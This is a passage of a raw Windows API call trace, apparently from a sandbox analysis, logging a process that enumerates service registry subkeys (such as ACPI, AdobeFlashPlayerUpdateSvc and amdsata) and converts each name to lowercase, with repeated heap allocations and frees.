RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x502850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x5a1418, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x502850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x5a1460, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x502850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x5a1418, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x502850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0028.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x502850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x502850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x502850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0028.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x5a1418, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x502850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x502850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x502850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0028.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x502850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x502850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x5a1460, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x502850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x502850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0028.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x502850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x502850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x502850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x502850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x502850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x502850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0028.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x502850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 